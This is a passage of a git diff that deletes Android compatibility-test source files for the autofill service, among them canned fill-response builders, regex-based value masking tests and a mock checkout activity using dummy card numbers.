-            mRequiredSavableIds = ids;
-            return this;
-        }
-
-        public Builder setSaveInfoFlags(int flags) {
-            mSaveInfoFlags = flags;
-            return this;
-        }
-
-        public Builder setFillResponseFlags(int flags) {
-            mFillResponseFlags = flags;
-            return this;
-        }
-
-        /**
-         * Sets the optional savable ids based on they {@code resourceId}.
-         */
-        public Builder setOptionalSavableIds(String... ids) {
-            mOptionalSavableIds = ids;
-            return this;
-        }
-
-        /**
-         * Sets the description passed to the {@link SaveInfo}.
-         */
-        public Builder setSaveDescription(CharSequence description) {
-            mSaveDescription = description;
-            return this;
-        }
-
-        /**
-         * Sets the extra passed to {@link
-         * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
-         */
-        public Builder setExtras(Bundle data) {
-            mExtras = data;
-            return this;
-        }
-
-        /**
-         * Sets the view to present the response in the UI.
-         */
-        public Builder setPresentation(RemoteViews presentation) {
-            mPresentation = presentation;
-            return this;
-        }
-
-        /**
-         * Sets the view to present the response in the UI.
-         */
-        public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
-            mInlinePresentation = inlinePresentation;
-            return this;
-        }
-
-        /**
-         * Sets views to present the response in the UI by the type.
-         */
-        public Builder setPresentation(String message, boolean inlineMode) {
-            mPresentation = createPresentation(message);
-            if (inlineMode) {
-                mInlinePresentation = createInlinePresentation(message);
-            }
-            return this;
-        }
-
-        /**
-         * Sets the authentication intent.
-         */
-        public Builder setAuthentication(IntentSender authentication, String... ids) {
-            mAuthenticationIds = ids;
-            mAuthentication = authentication;
-            return this;
-        }
-
-        /**
-         * Sets the ignored fields based on resource ids.
-         */
-        public Builder setIgnoreFields(String...ids) {
-            mIgnoredIds = ids;
-            return this;
-        }
-
-        /**
-         * Sets the negative action spec.
-         */
-        public Builder setNegativeAction(int style, IntentSender listener) {
-            mNegativeActionStyle = style;
-            mNegativeActionListener = listener;
-            return this;
-        }
-
-        /**
-         * Sets the positive action spec.
-         */
-        public Builder setPositiveAction(int style) {
-            mPositiveActionStyle = style;
-            return this;
-        }
-
-        public CannedFillResponse build() {
-            return new CannedFillResponse(this);
-        }
-
-        /**
-         * Sets the response to call {@link FillCallback#onFailure(CharSequence)}.
-         */
-        public Builder returnFailure(String message) {
-            assertWithMessage("already added datasets").that(mDatasets).isEmpty();
-            mFailureMessage = message;
-            return this;
-        }
-
-        /**
-         * Sets the view that explicitly triggers save.
-         */
-        public Builder setSaveTriggerId(AutofillId id) {
-            assertWithMessage("already set").that(mSaveTriggerId).isNull();
-            mSaveTriggerId = id;
-            return this;
-        }
-
-        public Builder disableAutofill(long duration) {
-            assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
-            mDisableDuration = duration;
-            return this;
-        }
-
-        /**
-         * Sets the ids used for field classification.
-         */
-        public Builder setFieldClassificationIds(String... ids) {
-            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
-            mFieldClassificationIds = ids;
-            return this;
-        }
-
-        /**
-         * Forces the service to throw an exception when setting the fields classification ids.
-         */
-        public Builder setFieldClassificationIdsOverflow() {
-            mFieldClassificationIdsOverflow = true;
-            return this;
-        }
-
-        public Builder setHeader(RemoteViews header) {
-            assertWithMessage("already set").that(mHeader).isNull();
-            mHeader = header;
-            return this;
-        }
-
-        public Builder setFooter(RemoteViews footer) {
-            assertWithMessage("already set").that(mFooter).isNull();
-            mFooter = footer;
-            return this;
-        }
-
-        public Builder setSaveInfoDecorator(SaveInfoDecorator decorator) {
-            assertWithMessage("already set").that(mSaveInfoDecorator).isNull();
-            mSaveInfoDecorator = decorator;
-            return this;
-        }
-
-        /**
-         * Sets the package-specific UserData.
-         *
-         * <p>Overrides the default UserData for field classification.
-         */
-        public Builder setUserData(UserData userData) {
-            assertWithMessage("already set").that(mUserData).isNull();
-            mUserData = userData;
-            return this;
-        }
-
-        /**
-         * Sets a generic visitor for the "real" request and response.
-         *
-         * <p>Typically used in cases where the test need to infer data from the request to build
-         * the response.
-         */
-        public Builder setVisitor(
-                @NonNull DoubleVisitor<List<FillContext>, FillResponse.Builder> visitor) {
-            mVisitor = visitor;
-            return this;
-        }
-
-        /**
-         * Sets a generic visitor for the "real" request and save info.
-         *
-         * <p>Typically used in cases where the test need to infer data from the request to build
-         * the response.
-         */
-        public Builder setSaveInfoVisitor(
-                @NonNull DoubleVisitor<List<FillContext>, SaveInfo.Builder> visitor) {
-            mSaveInfoVisitor = visitor;
-            return this;
-        }
-
-        /**
-         * Sets targets that cancel current session
-         */
-        public Builder setPresentationCancelIds(int[] ids) {
-            mCancelIds = ids;
-            return this;
-        }
-    }
-
-    /**
-     * Helper class used to produce a {@link Dataset} based on expected fields that should be
-     * present in the {@link AssistStructure}.
-     *
-     * <p>Typical usage:
-     *
-     * <pre class="prettyprint">
-     * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
-     *               .addDataset(new CannedDataset.Builder("dataset_name")
-     *                   .setField("resource_id1", AutofillValue.forText("value1"))
-     *                   .setField("resource_id2", AutofillValue.forText("value2"))
-     *                   .build())
-     *               .build());
-     * </pre class="prettyprint">
-     */
-    public static class CannedDataset {
-        private final Map<String, AutofillValue> mFieldValues;
-        private final Map<String, RemoteViews> mFieldPresentations;
-        private final Map<String, InlinePresentation> mFieldInlinePresentations;
-        private final Map<String, Pair<Boolean, Pattern>> mFieldFilters;
-        private final RemoteViews mPresentation;
-        private final InlinePresentation mInlinePresentation;
-        private final IntentSender mAuthentication;
-        private final String mId;
-
-        private CannedDataset(Builder builder) {
-            mFieldValues = builder.mFieldValues;
-            mFieldPresentations = builder.mFieldPresentations;
-            mFieldInlinePresentations = builder.mFieldInlinePresentations;
-            mFieldFilters = builder.mFieldFilters;
-            mPresentation = builder.mPresentation;
-            mInlinePresentation = builder.mInlinePresentation;
-            mAuthentication = builder.mAuthentication;
-            mId = builder.mId;
-        }
-
-        /**
-         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
-         */
-        Dataset asDataset(Function<String, ViewNode> nodeResolver) {
-            final Dataset.Builder builder = mPresentation != null
-                    ? mInlinePresentation == null
-                    ? new Dataset.Builder(mPresentation)
-                    : new Dataset.Builder(mPresentation).setInlinePresentation(mInlinePresentation)
-                    : mInlinePresentation == null
-                            ? new Dataset.Builder()
-                            : new Dataset.Builder(mInlinePresentation);
-
-            if (mFieldValues != null) {
-                for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
-                    final String id = entry.getKey();
-                    final ViewNode node = nodeResolver.apply(id);
-                    if (node == null) {
-                        throw new AssertionError("No node with resource id " + id);
-                    }
-                    final AutofillId autofillId = node.getAutofillId();
-                    final AutofillValue value = entry.getValue();
-                    final RemoteViews presentation = mFieldPresentations.get(id);
-                    final InlinePresentation inlinePresentation = mFieldInlinePresentations.get(id);
-                    final Pair<Boolean, Pattern> filter = mFieldFilters.get(id);
-                    if (presentation != null) {
-                        if (filter == null) {
-                            if (inlinePresentation != null) {
-                                builder.setValue(autofillId, value, presentation,
-                                        inlinePresentation);
-                            } else {
-                                builder.setValue(autofillId, value, presentation);
-                            }
-                        } else {
-                            if (inlinePresentation != null) {
-                                builder.setValue(autofillId, value, filter.second, presentation,
-                                        inlinePresentation);
-                            } else {
-                                builder.setValue(autofillId, value, filter.second, presentation);
-                            }
-                        }
-                    } else {
-                        if (inlinePresentation != null) {
-                            builder.setFieldInlinePresentation(autofillId, value,
-                                    filter != null ? filter.second : null, inlinePresentation);
-                        } else {
-                            if (filter == null) {
-                                builder.setValue(autofillId, value);
-                            } else {
-                                builder.setValue(autofillId, value, filter.second);
-                            }
-                        }
-                    }
-                }
-            }
-            builder.setId(mId).setAuthentication(mAuthentication);
-            return builder.build();
-        }
-
-        @Override
-        public String toString() {
-            return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
-                    + ", hasInlinePresentation=" + (mInlinePresentation != null)
-                    + ", fieldPresentations=" + (mFieldPresentations)
-                    + ", fieldInlinePresentations=" + (mFieldInlinePresentations)
-                    + ", hasAuthentication=" + (mAuthentication != null)
-                    + ", fieldValues=" + mFieldValues
-                    + ", fieldFilters=" + mFieldFilters + "]";
-        }
-
-        public static class Builder {
-            private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
-            private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
-            private final Map<String, InlinePresentation> mFieldInlinePresentations =
-                    new HashMap<>();
-            private final Map<String, Pair<Boolean, Pattern>> mFieldFilters = new HashMap<>();
-
-            private RemoteViews mPresentation;
-            private InlinePresentation mInlinePresentation;
-            private IntentSender mAuthentication;
-            private String mId;
-
-            public Builder() {
-
-            }
-
-            public Builder(RemoteViews presentation) {
-                mPresentation = presentation;
-            }
-
-            /**
-             * Sets the canned value of a text field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text) {
-                return setField(id, AutofillValue.forText(text));
-            }
-
-            /**
-             * Sets the canned value of a text field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, Pattern filter) {
-                return setField(id, AutofillValue.forText(text), true, filter);
-            }
-
-            public Builder setUnfilterableField(String id, String text) {
-                return setField(id, AutofillValue.forText(text), false, null);
-            }
-
-            /**
-             * Sets the canned value of a list field based on its its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, int index) {
-                return setField(id, AutofillValue.forList(index));
-            }
-
-            /**
-             * Sets the canned value of a toggle field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, boolean toggled) {
-                return setField(id, AutofillValue.forToggle(toggled));
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, long date) {
-                return setField(id, AutofillValue.forDate(date));
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, AutofillValue value) {
-                mFieldValues.put(id, value);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, AutofillValue value, boolean filterable,
-                    Pattern filter) {
-                setField(id, value);
-                mFieldFilters.put(id, new Pair<>(filterable, filter));
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation) {
-                setField(id, text);
-                mFieldPresentations.put(id, presentation);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    Pattern filter) {
-                setField(id, text, presentation);
-                mFieldFilters.put(id, new Pair<>(true, filter));
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    InlinePresentation inlinePresentation) {
-                setField(id, text);
-                mFieldPresentations.put(id, presentation);
-                mFieldInlinePresentations.put(id, inlinePresentation);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    InlinePresentation inlinePresentation, Pattern filter) {
-                setField(id, text, presentation, inlinePresentation);
-                mFieldFilters.put(id, new Pair<>(true, filter));
-                return this;
-            }
-
-            /**
-             * Sets the view to present the response in the UI.
-             */
-            public Builder setPresentation(RemoteViews presentation) {
-                mPresentation = presentation;
-                return this;
-            }
-
-            /**
-             * Sets the view to present the response in the UI.
-             */
-            public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
-                mInlinePresentation = inlinePresentation;
-                return this;
-            }
-
-            public Builder setPresentation(String message, boolean inlineMode) {
-                mPresentation = createPresentation(message);
-                if (inlineMode) {
-                    mInlinePresentation = createInlinePresentation(message);
-                }
-                return this;
-            }
-
-            /**
-             * Sets the authentication intent.
-             */
-            public Builder setAuthentication(IntentSender authentication) {
-                mAuthentication = authentication;
-                return this;
-            }
-
-            /**
-             * Sets the name.
-             */
-            public Builder setId(String id) {
-                mId = id;
-                return this;
-            }
-
-            /**
-             * Builds the canned dataset.
-             */
-            public CannedDataset build() {
-                return new CannedDataset(this);
-            }
-        }
-    }
-
-    interface SaveInfoDecorator {
-        void decorate(SaveInfo.Builder builder, Function<String, ViewNode> nodeResolver);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java
deleted file mode 100644
index d3a0404..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import org.mockito.ArgumentMatcher;
-
-final class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
-    private final CharSequence mExpected;
-
-    CharSequenceMatcher(CharSequence expected) {
-        mExpected = expected;
-    }
-
-    @Override
-    public boolean matches(CharSequence actual) {
-        return actual.toString().equals(mExpected.toString());
-    }
-
-    @Override
-    public String toString() {
-        return mExpected.toString();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
deleted file mode 100644
index 73fc9d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ /dev/null
@@ -1,248 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.argThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class CharSequenceTransformationTest {
-
-    @Test
-    public void testAllNullBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new CharSequenceTransformation.Builder(null, null, null));
-    }
-
-    @Test
-    public void testNullAutofillIdBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
-    }
-
-    @Test
-    public void testNullRegexBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
-    }
-
-    @Test
-    public void testNullSubstBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
-                        null));
-    }
-
-    @Test
-    public void testBadSubst() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-        AutofillId id4 = new AutofillId(4);
-
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile("(.)"), "1=$1");
-
-        // bad subst: The regex has no capture groups
-        b.addField(id2, Pattern.compile("."), "2=$1");
-
-        // bad subst: The regex does not have enough capture groups
-        b.addField(id3, Pattern.compile("(.)"), "3=$2");
-
-        b.addField(id4, Pattern.compile("(.)"), "4=$1");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("a");
-        when(finder.findByAutofillId(id2)).thenReturn("b");
-        when(finder.findByAutofillId(id3)).thenReturn("c");
-        when(finder.findByAutofillId(id4)).thenReturn("d");
-
-        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
-
-        // fail one, fail all
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testUnknownField() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId unknownId = new AutofillId(42);
-
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile(".*"), "1");
-
-        // bad subst: The field will not be found
-        b.addField(unknownId, Pattern.compile(".*"), "unknown");
-
-        b.addField(id2, Pattern.compile(".*"), "2");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("1");
-        when(finder.findByAutofillId(id2)).thenReturn("2");
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-
-        trans.apply(finder, template, 0);
-
-        // if a view cannot be found, nothing is not, not even partial results
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testCreditCardObfuscator() throws Exception {
-        AutofillId creditCardFieldId = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(creditCardFieldId,
-                        Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
-                        "...$1")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
-    }
-
-    @Test
-    public void testReplaceAllByOne() throws Exception {
-        AutofillId id = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id, Pattern.compile("."), "*")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("four");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
-    }
-
-    @Test
-    public void testPartialMatchIsIgnored() throws Exception {
-        AutofillId id = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id, Pattern.compile("^MATCH$"), "*")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
-
-        trans.apply(finder, template, 0);
-
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void userNameObfuscator() throws Exception {
-        AutofillId userNameFieldId = new AutofillId(1);
-        AutofillId passwordFieldId = new AutofillId(2);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
-                .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
-        when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(),
-                argThat(new CharSequenceMatcher("myUserName/..rd")));
-    }
-
-    @Test
-    public void testMismatch() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile("Who are you?"), "1");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
-
-        trans.apply(finder, template, 0);
-
-        // If the match fails, the view should not change.
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testFieldsAreAppliedInOrder() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id1, Pattern.compile("a"), "A")
-                .addField(id3, Pattern.compile("c"), "C")
-                .addField(id2, Pattern.compile("b"), "B")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("a");
-        when(finder.findByAutofillId(id2)).thenReturn("b");
-        when(finder.findByAutofillId(id3)).thenReturn("c");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("ACB")));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
deleted file mode 100644
index f5e7f87..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
+++ /dev/null
@@ -1,236 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.widget.ArrayAdapter.createFromResource;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.ArrayAdapter;
-import android.widget.Button;
-import android.widget.CheckBox;
-import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Credit Card Number EditText (id: cc_numberusername, no input-type)
- *   <li>Credit Card Expiration EditText (id: cc_expiration, no input-type)
- *   <li>Address RadioGroup (id: addess, no autofill-type)
- *   <li>Save Credit Card CheckBox (id: save_cc, no autofill-type)
- *   <li>Clear Button
- *   <li>Buy Button
- * </ul>
- */
-public class CheckoutActivity extends AbstractAutoFillActivity {
-    private static final long BUY_TIMEOUT_MS = 1000;
-
-    static final String ID_CC_NUMBER = "cc_number";
-    static final String ID_CC_EXPIRATION = "cc_expiration";
-    static final String ID_ADDRESS = "address";
-    static final String ID_HOME_ADDRESS = "home_address";
-    static final String ID_WORK_ADDRESS = "work_address";
-    static final String ID_SAVE_CC = "save_cc";
-
-    static final int INDEX_ADDRESS_HOME = 0;
-    static final int INDEX_ADDRESS_WORK = 1;
-
-    static final int INDEX_CC_EXPIRATION_YESTERDAY = 0;
-    static final int INDEX_CC_EXPIRATION_TODAY = 1;
-    static final int INDEX_CC_EXPIRATION_TOMORROW = 2;
-    static final int INDEX_CC_EXPIRATION_NEVER = 3;
-
-    private EditText mCcNumber;
-    private Spinner mCcExpiration;
-    private ArrayAdapter<CharSequence> mCcExpirationAdapter;
-    private RadioGroup mAddress;
-    private RadioButton mHomeAddress;
-    private CheckBox mSaveCc;
-    private Button mBuyButton;
-    private Button mClearButton;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mBuyLatch;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mCcNumber = findViewById(R.id.cc_number);
-        mCcExpiration = findViewById(R.id.cc_expiration);
-        mAddress = findViewById(R.id.address);
-        mHomeAddress = findViewById(R.id.home_address);
-        mSaveCc = findViewById(R.id.save_cc);
-        mBuyButton = findViewById(R.id.buy);
-        mClearButton = findViewById(R.id.clear);
-
-        mCcExpirationAdapter = createFromResource(this,
-                R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
-        mCcExpirationAdapter
-                .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        mCcExpiration.setAdapter(mCcExpirationAdapter);
-
-        mBuyButton.setOnClickListener((v) -> buy());
-        mClearButton.setOnClickListener((v) -> resetFields());
-    }
-
-    protected int getContentView() {
-        return R.layout.checkout_activity;
-    }
-
-    /**
-     * Resets the values of the input fields.
-     */
-    private void resetFields() {
-        mCcNumber.setText("");
-        mCcExpiration.setSelection(0, false);
-        mAddress.clearCheck();
-        mSaveCc.setChecked(false);
-    }
-
-    /**
-     * Emulates a buy action.
-     */
-    private void buy() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Thank you an come again!");
-        startActivity(intent);
-        if (mBuyLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mBuyLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String ccNumber, int ccExpirationIndex, int addressId, boolean saveCc) {
-        mExpectation = new FillExpectation(ccNumber, ccExpirationIndex, addressId, saveCc);
-        mCcNumber.addTextChangedListener(mExpectation.ccNumberWatcher);
-        mCcExpiration.setOnItemSelectedListener(mExpectation.ccExpirationListener);
-        mAddress.setOnCheckedChangeListener(mExpectation.addressListener);
-        mSaveCc.setOnCheckedChangeListener(mExpectation.saveCcListener);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int, boolean)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.ccNumberWatcher.assertAutoFilled();
-        mExpectation.ccExpirationListener.assertAutoFilled();
-        mExpectation.addressListener.assertAutoFilled();
-        mExpectation.saveCcListener.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code ccNumber} in the UiThread.
-     */
-    void onCcNumber(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mCcNumber));
-    }
-
-    /**
-     * Visits the {@code ccExpirationDate} in the UiThread.
-     */
-    void onCcExpiration(Visitor<Spinner> v) {
-        syncRunOnUiThread(() -> v.visit(mCcExpiration));
-    }
-
-    /**
-     * Visits the {@code ccExpirationDate} adapter in the UiThread.
-     */
-    void onCcExpirationAdapter(Visitor<ArrayAdapter<CharSequence>> v) {
-        syncRunOnUiThread(() -> v.visit(mCcExpirationAdapter));
-    }
-
-    /**
-     * Visits the {@code address} in the UiThread.
-     */
-    void onAddress(Visitor<RadioGroup> v) {
-        syncRunOnUiThread(() -> v.visit(mAddress));
-    }
-
-    /**
-     * Visits the {@code homeAddress} in the UiThread.
-     */
-    void onHomeAddress(Visitor<RadioButton> v) {
-        syncRunOnUiThread(() -> v.visit(mHomeAddress));
-    }
-
-    /**
-     * Visits the {@code saveCC} in the UiThread.
-     */
-    void onSaveCc(Visitor<CheckBox> v) {
-        syncRunOnUiThread(() -> v.visit(mSaveCc));
-    }
-
-    /**
-     * Taps the buy button in the UI thread.
-     */
-    void tapBuy() throws Exception {
-        mBuyLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mBuyButton.performClick());
